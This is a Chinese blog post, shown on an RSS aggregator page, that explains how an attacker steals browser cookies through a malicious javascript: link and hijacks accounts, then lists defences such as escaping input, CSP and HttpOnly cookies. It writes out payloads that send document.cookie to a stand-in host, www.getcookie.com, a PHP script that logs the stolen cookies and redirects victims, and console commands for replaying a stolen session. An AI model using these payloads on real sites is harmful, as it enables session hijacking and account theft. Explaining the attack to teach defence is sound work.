惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

GbyAI
GbyAI
NISL@THU
NISL@THU
S
Secure Thoughts
P
Palo Alto Networks Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
AWS News Blog
AWS News Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
S
Security @ Cisco Blogs
Cloudbric
Cloudbric
L
LINUX DO - 最新话题
L
LINUX DO - 热门话题
O
OpenAI News
C
Cyber Attacks, Cyber Crime and Cyber Security
Google DeepMind News
Google DeepMind News
Schneier on Security
Schneier on Security
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
www.infosecurity-magazine.com
www.infosecurity-magazine.com
月光博客
月光博客
阮一峰的网络日志
阮一峰的网络日志
Forbes - Security
Forbes - Security
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
S
Securelist
S
Security Affairs
博客园 - 三生石上(FineUI控件)
V2EX - 技术
V2EX - 技术
Apple Machine Learning Research
Apple Machine Learning Research
D
Darknet – Hacking Tools, Hacker News & Cyber Security
人人都是产品经理
人人都是产品经理
IT之家
IT之家
T
Threat Research - Cisco Blogs
博客园 - 司徒正美
J
Java Code Geeks
C
Cisco Blogs
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
W
WeLiveSecurity
N
News and Events Feed by Topic
P
Privacy International News Feed
V
Visual Studio Blog
博客园_首页
量子位
C
Cybersecurity and Infrastructure Security Agency CISA
Y
Y Combinator Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
T
The Exploit Database - CXSecurity.com
Security Archives - TechRepublic
Security Archives - TechRepublic
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
N
News and Events Feed by Topic
D
DataBreaches.Net
The Cloudflare Blog

博客园 - tooli

没有技术要求,只需5步就能完成数据分析和图表制作,DuckDB可将数据分析门槛铲平。 在超大数据集下 DuckDB 与 MySQL 查询速度对比 ChatGPT有多强?真的能替代程序员?一起来看看! 在windwos创建的脚本文件在linux环境中无法执行的问题 PHP + Redis 实现定时任务触发 测试PHP几种方法写入文件的效率与安全性 一个'&'引起md5签名不一致问题 linux学习:curl与netcat用法整理 swoole+websocket+redis实现一对一聊天 使用COOKIE实现登录 VS 使用SESSION实现登录 巧用PHP中__get()魔术方法 用户表分表原理 linux学习:用户管理 linux学习:网络(防火墙)及系统安全相关命令学习 MySQL语句技巧 实习那些事儿 shell 环境下MySQL的基本操作指令总结 linux学习:归档,备份及进程相关命令用法整理 Docker简介以及使用docker搭建lnmp的过程(多PHP版本)
简析小黑是如何盗取cookie登录用户账号
tooli · 2020-05-21 · via 博客园 - tooli

都说cookie不安全,现在通过一个很简单的例子来说明它为什么不安全。

对于cookie的概念这里就不做阐述了。前端截取cookie的方式有多种,下面介绍一种比较简单的手法。

首先:

小黑会在各种网站发布帖子,然后在某些特定的地方添加吸引人点击的内容,而该内容会有一些超链接。比如在A网站,小黑在发布的内容中加个超链接:

<a href=”JS_URL”  target=”_blank”>点击我,跳转到B网站</a>

然后JS_URL 用如下形式:

javascript:window.location.href='http://www.getcookie.com/info.php?usercookie='+document.cookie;

或者

javascript:window.open('http://www.getcookie.com/info.php?usercookie='+document.cookie);

然后:

小黑在自己的服务器上也就是www.getcookie.com 上写好脚本info.php,接收以上超链接传输过来的cookie。

Info.php

<?php

$info=$_GET[‘usercookie’];

if($info){

    file_put_contents('./cookie_log.txt', $info.PHP_EOL, FILE_APPEND);

}

header("Location:http://www.B.com");//因为超链接是要跳转到B网站,拿到cookie后再给他跳转,不容易被发现。

最后:

小黑拿到其他用户的cookie后,在A网站登录自己的账号,然后只需要将自己账号的cookie改成前面截取到的cookie。具体步骤:

进入F12的控制台,执行:document.cookie = 'PHPSESSID= aaaaaaaaaaaa;'; 有的网站有多个cookie,每个cookie会对应不同子域名,所有这种需要在设置cookie时加上有效的域名和目录等。比如:document.cookie = PHPSESSID =aaaaaaaaaaaa;'+ 'path=/;'+ 'domain=.A.com';  表示一级域名下有效。

如果没有A网站的账号,也可以直接设置cookie到该网站的域名下,不过这样可能花费的调试时间多些,因为有些网站有多个cookie,各个cookie对应的子域名、目录等可能不一样。如果自己有一个账号,只要登录后替换对应键的cookie值就可以了。

除了在控制台执行document.cookie,也可以Application项目的Cookies栏目下修改cookie值。

刷新一下,就能获得别人账号的权限了。

对于这种XSS攻击,有时真的是防不胜防,但也还得防。

防范方式:

1)字符的过滤,将用户输入的字符进行特殊字符过滤或转义,比如空格,单引号,双引号,尖括号等;

2)避免cookie中泄露用户隐私,也可以通过cookie和ip绑定来降低泄露风险。

3)提交表单尽量用POST而非GET

4)内容安全策略——CSP(Content-Security-Policy),一种以可信白名单作机制,来限制网站中是否可以包含某来源内容。默认配置下不允许执行内联代码

5)设置cookie为httponly。这样前端就无法通过document.cookie截取到该cookie值。比如php的设置方法:

方法一、在php.ini配置文件中进行cookie只读设置的开启 :session.cookie_httponly = On

方法二、在php代码顶部设置
<?php
ini_set("session.cookie_httponly", 1);
//php5.1以前版本设置方法:header("Set-Cookie: hidden=value; httpOnly");
?>